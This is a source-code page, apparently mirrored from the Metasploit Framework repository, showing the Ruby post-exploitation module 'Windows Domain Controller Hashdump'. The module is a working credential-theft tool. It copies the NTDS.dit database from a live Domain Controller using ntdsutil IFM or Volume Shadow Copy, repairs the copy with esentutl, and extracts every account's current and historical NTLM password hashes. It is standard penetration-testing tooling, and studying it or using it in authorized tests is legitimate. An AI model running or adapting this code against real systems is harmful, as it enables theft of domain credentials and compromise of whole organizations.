Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/domain_hashdump.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasploit/framework/ntds/parser'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Accounts
10
include Msf::Post::Windows::Registry
11
include Msf::Auxiliary::Report
12
include Msf::Post::Windows::Priv
13
include Msf::Post::Windows::ShadowCopy
14
include Msf::Post::File
15
include Msf::Post::Windows::ExtAPI
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Windows Domain Controller Hashdump',
22
'Description' => %q{
23
This module attempts to copy the NTDS.dit database from a live Domain Controller
24
and then parse out all of the User Accounts. It saves all of the captured password
25
hashes, including historical ones.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => ['theLightCosine'],
29
'Platform' => [ 'win' ],
30
'SessionTypes' => [ 'meterpreter' ],
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [],
34
'Reliability' => []
35
},
36
'Compat' => {
37
'Meterpreter' => {
38
'Commands' => %w[
39
extapi_ntds_parse
40
stdapi_fs_stat
41
]
42
}
43
}
44
)
45
)
46
deregister_options('SMBUser', 'SMBPass', 'SMBDomain')
47
register_options(
48
[
49
OptBool.new(
50
'CLEANUP', [ true, 'Automatically delete ntds backup created', true]
51
)
52
]
53
)
54
end
55
56
def run
57
if preconditions_met?
58
print_status 'Pre-conditions met, attempting to copy NTDS.dit'
59
ntds_file = copy_database_file
60
unless ntds_file.nil?
61
file_stat = client.fs.file.stat(ntds_file)
62
print_status "NTDS File Size: #{file_stat.size} bytes"
63
print_status 'Repairing NTDS database after copy...'
64
print_status repair_ntds(ntds_file)
65
realm = sysinfo['Domain']
66
begin
67
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
68
rescue Rex::Post::Meterpreter::RequestError => e
69
print_bad("Failed to properly parse database: #{e}")
70
if e.to_s.include? '1004'
71
print_bad('Error 1004 is likely a jet database error because the ntds database is not in the regular format')
72
end
73
end
74
unless ntds_parser.nil?
75
print_status 'Started up NTDS channel. Preparing to stream results...'
76
ntds_parser.each_account do |ad_account|
77
print_good ad_account.to_s
78
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
79
ad_account.nt_history.each_with_index do |nt_hash, index|
80
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
81
hash_string << ":#{nt_hash}"
82
report_hash(hash_string.downcase, ad_account.name, realm)
83
end
84
end
85
end
86
if datastore['cleanup']
87
print_status "Deleting backup of NTDS.dit at #{ntds_file}"
88
rm_f(ntds_file)
89
else
90
print_bad "#{ntds_file} requires manual cleanup"
91
end
92
end
93
end
94
end
95
96
def copy_database_file
97
version = get_version_info
98
if version.windows_server?
99
if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2)
100
print_status 'Using Volume Shadow Copy Method'
101
return vss_method
102
elsif version.build_number >= Msf::WindowsVersion::Server2008_SP0
103
print_status 'Using NTDSUTIL method'
104
return ntdsutil_method
105
end
106
end
107
print_error 'This version of Windows is unsupported'
108
return nil
109
end
110
111
def ntds_exists?
112
return false unless ntds_location
113
114
file_exist?("#{ntds_location}\\ntds.dit")
115
end
116
117
def ntds_location
118
@ntds_location ||= registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\', 'DSA Working Directory')
119
end
120
121
def ntdsutil_method
122
tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha(6..13)}"
123
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
124
result = cmd_exec('ntdsutil.exe', command_arguments, 90)
125
if result.include? 'IFM media created successfully'
126
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
127
print_status "NTDS database copied to #{file_path}"
128
else
129
print_error 'There was an error copying the ntds.dit file!'
130
vprint_error result
131
file_path = nil
132
end
133
file_path
134
end
135
136
def preconditions_met?
137
unless is_admin?
138
print_error('This module requires Admin privs to run')
139
return false
140
end
141
142
print_status('Session has Admin privs')
143
144
unless domain_controller?
145
print_error('Host does not appear to be an AD Domain Controller')
146
return false
147
end
148
149
print_status('Session is on a Domain Controller')
150
151
unless ntds_exists?
152
print_error('Could not locate ntds.dit file')
153
return false
154
end
155
156
unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_NTDS_PARSE)
157
fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI NTDS parser')
158
end
159
160
session_compat?
161
end
162
163
def repair_ntds(path = '')
164
arguments = "/p /o \"#{path}\""
165
cmd_exec('esentutl', arguments)
166
end
167
168
def report_hash(ntlm_hash, username, realm)
169
cred_details = {
170
origin_type: :session,
171
session_id: session_db_id,
172
post_reference_name: refname,
173
private_type: :ntlm_hash,
174
private_data: ntlm_hash,
175
username: username,
176
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
177
realm_value: realm,
178
workspace_id: myworkspace_id
179
}
180
create_credential(cred_details)
181
end
182
183
def session_compat?
184
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
185
print_error 'You are running 32-bit Meterpreter on a 64 bit system'
186
print_error 'Try migrating to a 64-bit process and try again'
187
false
188
else
189
true
190
end
191
end
192
193
def vss_method
194
unless start_vss
195
fail_with(Failure::NoAccess, 'Unable to start VSS service')
196
end
197
location = ntds_location.dup
198
location.slice!(0, 3)
199
id = create_shadowcopy(volume.to_s)
200
print_status "Getting Details of ShadowCopy #{id}"
201
sc_details = get_sc_details(id)
202
sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
203
target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha(6..13)}"
204
print_status "Moving ntds.dit to #{target_path}"
205
move_file(sc_path, target_path)
206
target_path
207
end
208
end
209
210